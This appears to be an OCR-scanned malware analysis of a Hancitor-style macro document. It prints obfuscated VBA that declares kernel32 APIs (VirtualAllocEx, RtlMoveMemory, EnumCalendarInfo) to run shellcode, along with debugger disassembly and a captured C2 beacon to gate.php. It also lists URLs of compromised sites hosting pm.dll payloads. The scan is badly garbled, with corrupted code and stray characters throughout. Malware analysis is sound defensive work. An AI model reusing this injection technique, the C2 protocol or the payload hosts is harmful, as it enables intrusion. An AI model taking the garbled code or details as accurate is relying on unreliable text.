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MD5 0d1dbb318ca . = = 8a96e3e9abb307f3616cd
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BE O = Sub sauciness ()
Dim likelihood k= Integer
+ B Wormal Din sisterhood As Variant
o B Preject (Sample) Set jardiniere = natal libet. BoundValue (“Tab2")
=& Microsoft Hord R grunting = jardiniere. ControlTipText
= R castrate = T368
ThisDecument relativity = Right (grunting castrate)
=75 BE appropriative = presbyope. sative (relativity)
blameless = 6
natal fhile blameless < 9
[0 ke blamsless = blameless + 1
=1 5IA patella = Round(385. 25
patella = Fix (105 13)
Wend
dans = “argasidae”
#LE VBAE And Winf4 Then
Dim slepseller hs Variant
Dim anabolic As euztoma
ﬁ Dim marital A= LongPtr
anabolic. elzeifstatement = 0
|ThisDocumen Document | Dim zloty As Byte
#Elze
BFEE | fmatr | Din sustereness hs Integer
anabolic = 0
LockTheme = Dim secretion As Variant
HoLinebr ealhi Dim marital As Long
HoLinelrealfe #End If
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shab = 2
For darnel = TEaque
jealo Zrus (darnel)

ntislly = abwatt (ketose)

urEL - & C \
For hiitose 5=8"To oto Step bjoclimstic __
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2.5 shellcode

6a Rt1lMoveMemory  VirtualAllocEx £ T Nez G [
bilaterallyd madid” T A

Public Declare Function gruidas Lib “kernel32” Alias "EnunCalendarInfolt™ (By¥al shortage As Any, ByVal palermo As Any, By¥al mailboat As dny, ByVal twrbinate As Any) As Lon
‘558 ean’ t take another complicati
i Aid.T
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78  buddhismi TG ¥ shellcode’ VirtuallocEx Ne W
T P 7 Rt1MoveMemory  shellcode
[ Ne ¥ p TA

Lam ALLms Lsuus na o
DIim additum A= Long

bilaterally additum, By¥al VerPtr (buddhism) + 5, 4 * $Fbuddhi smAOHhEEE T B addi tun
Dim pericallis Az Integer

Dim obtrusively hs Variant

Dim tit &= Long

merida = 0

leiopelmatidas = -1

babelilke = O

minutely = Int (443 142)

patella = Abs(5T.291))
semipellucid = 14 + 4082

pomelo = madid(ByV¥al leiopelmatidae, By¥al babelile, T386, semipellucid, B4) B Vir tual 11 ocEx i BOT 305 T F IHIEEE
bismarckian = “envelope”

bilaterally tit, By¥al WarPtr (pomelo) + 5, 4 * gpomeloiibdE M B it
patella = patella + 277
bilaterally ByVal tit, ByVal additum, 5538 * 45 addi tumbtihb o EETIEFE M H] i bk o

tvmpani = &7
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Public Declare Function deglutition Lib "user32” Alisz "EndPaint” (fork As Long, dracunculus As Long) As Long
“E5# can' t take another eemplication
Fub.

lic Declare Functién gruidse Lib "kernel32* Alias “EnunCalendarInfol” (ByVal shertage hs Any, ByVal palerme As Any, ByVal mailbost Az Any, ByVal turbinate As Any) As Lon
$£3 can' t take snother—ecomphivation

2.8 EnumcCalendarinfoW £
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BOOL EnumCalendarInfo(

S
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2.9 EnumCalendarinfo £ H

AL CLymE An LUl

chyme = marital t+ refuse
Dim ascomycetes As Long
ascomycetes = 124 - 5 - 118

| dispersed = gruidae (chyme, minefield, ascomycetes, ascomycetes) AR EnanC 2l endar Tnf o £
whining = 12

2.10 EnumCalendarinfow £ ~ shellcode b p D~
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[reses | B40X] wi) 833 31 ) =Y BE|Mx|wn]cls|K|BIR ) s) EEE2)
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“ Registers (FPU)

EAX kernel32._EnumCalendarInfoW
nou ebp,esp "

ntdl1.7c97B178
FF75 14 dword ptr ssz[ebp+B8x14]

FF75 10 dword ptr ssz[ebp+8x10]

FF75 0C dword ptr

FE7E op a n

e 3 pusn eop

"M .8

WHZETES B33FAST 7 .BR7GC

BB12E7ES EBBBEEEEY Iil T -duord otr fs
LG eax.dword ptr ds
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[ v v mem s s msen Gk Gwes s i -
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FCBUBC2D 3975 18 cmp dword ptr ss:[ebp+8x18],esi

| v I, o ;

s

RIS ]

kernel32 _ZCBABCTS
fword ptr ds:ledi+Bza]

kernel32_7C848C75

pusn eop
mov ebp

=

2.12 EnumCalendarinfow & shellcode

2.2 0x02. Shellcode

Shellcode b H |k W p PE g b

ecx
ecx
8945 F4 mov dword ptr ss:[ebp-8xC],eax psapi.GetMappedFileNamef
8B75 FC mov esi,dword ptr ss:[ebp-0x4]
6A 08
56 131
FF55 F8 call dword pt3

jinp duord ptr ds:[egi],8x4ChC5542

85341132 short 8534114F

85341134
85341138 HiE short 8534114F
edi
lea eax,dword ptr ss:[ebp-8x7CC]
eax psapi.GetHaps™s
56
6A FF
FF55 F4 call dword ptr ss:[ebp-8xC] psapi.GetMappedFileNameAf
85CH test s psapi.GetHappedFil;.
4 short 85341155




8A521113 59 ecx

8A521114 8945 F4 mov dword ptr ss:[ebp-8xC],eax
0A521117| 8B75 FC mou esi,dword ptr ss:[ebp-x4]
8A52111A 6A 08 )

8a52111C 56 esi

8A52111D FF55 F8 call dword ptr ss:[ebp-0x8]
8A521128 3BC3 cmp eax,ebx

8A521122 74 08 short B8A52112C

BA521124 81CE FFOF0080 |or ’

8A52112A(, EB 23 short BA52114F

kernel32.IsBadReadPtr

B8A52112¢C 813E 53544152 |cmp
short BA5211LF

BA521132 75 1B
BA521134 817E 04 46414C{cmp
2 L short BA52114F

2.13 Shellcode

2.3 0x03. PE dump

[ explorer. exe T PE B dump # Ne
Hancitor n A
23 v ” 7 &t b |
oH [ENe T  F BbP
Fow GUID W “ BbP
A Follow TCP Stream (tcp.stream eq 2)

Stream Content

POST /1s5/gate.php HTTP/1.1

Accept: */®

Ccontent-Type: application/x-www-form-urlencoded

iiir—auent; Mazilla 5.0 Cwindows NT.6.1: wWin6d: x64: Tridepg/7.0: rv:11.0).°

336452158344 & —0711&INFO=ABC @& ABC
or&IP:ﬂ:ﬂpEd&MIN:S.l(xaz HTTP,/1.1 200 DK
%x/1.6.2

8 Nov 2016 08:36:11 GMT

: text/html

oding: chunked
keep-alive
PHP/5.4.45

ave As Print () ASCII () EBCDIC ) Hex Dump () C Arrays ® Raw

- Filter Qut This Stream Close

=
e

]
GUID=9574177
Zadministrat
Server: ngin
Date: Tue, 0
Content-Type
mransfer-Enc
Connection:

—Pouered—si

C
["VEBARRABW==
0
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Address |Hex dump ASCII

B51260820 1:http://wuw. lup
B51260830 aprod.com/wp-con
85120840 tent/themes/invi
65128058 ctus_3.3.3/pm.dl
65128068 1|http://interne
85120870 tbudi .com.brfwp-
85120680 content/plugins/
85120690 googleanalytics/s
6512 806n 6 pm.dll|http:z//ty
05120680 iozift.nl/wp-adm
a512@8ca in/pm.d1ll|http:/
85120600 /timesessions.co
B51208E0 m.kosmos .ch-meta
8512088F@ -netfwp-includes
65128108 fpm.dll|http://w
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APT

HEARZ [5]

XA EEESR

uantity As LongPtr, couple As LongPtr, ByVal port As LongPtr, ByVal concertina A
s LongPtr, ByVal hanemelidae As LongPtr) As LongPtr’

"Public Declare PtrSafe Function cumulonimbus Lib “kernel32” Alias "Sleep” (alls
o R BB

*Public Declare Function gruidae Lib “kernel32”

shortage As Any. ByVal palermo As Any, ByVal mailb

s Any) As Long’

*Public Declare Function madid Lib “kernel32” Alias "VirtualAllocEx” (dubbin As
Long, feeze As Long, ByVal hannover As Long, ByVal obviation &s Long, ByVal catt
alo As Long) As Long’

*Public Declare Function menticirrhus Lib “kernel32” Alias “Sleep” (coaming As L

ong)’
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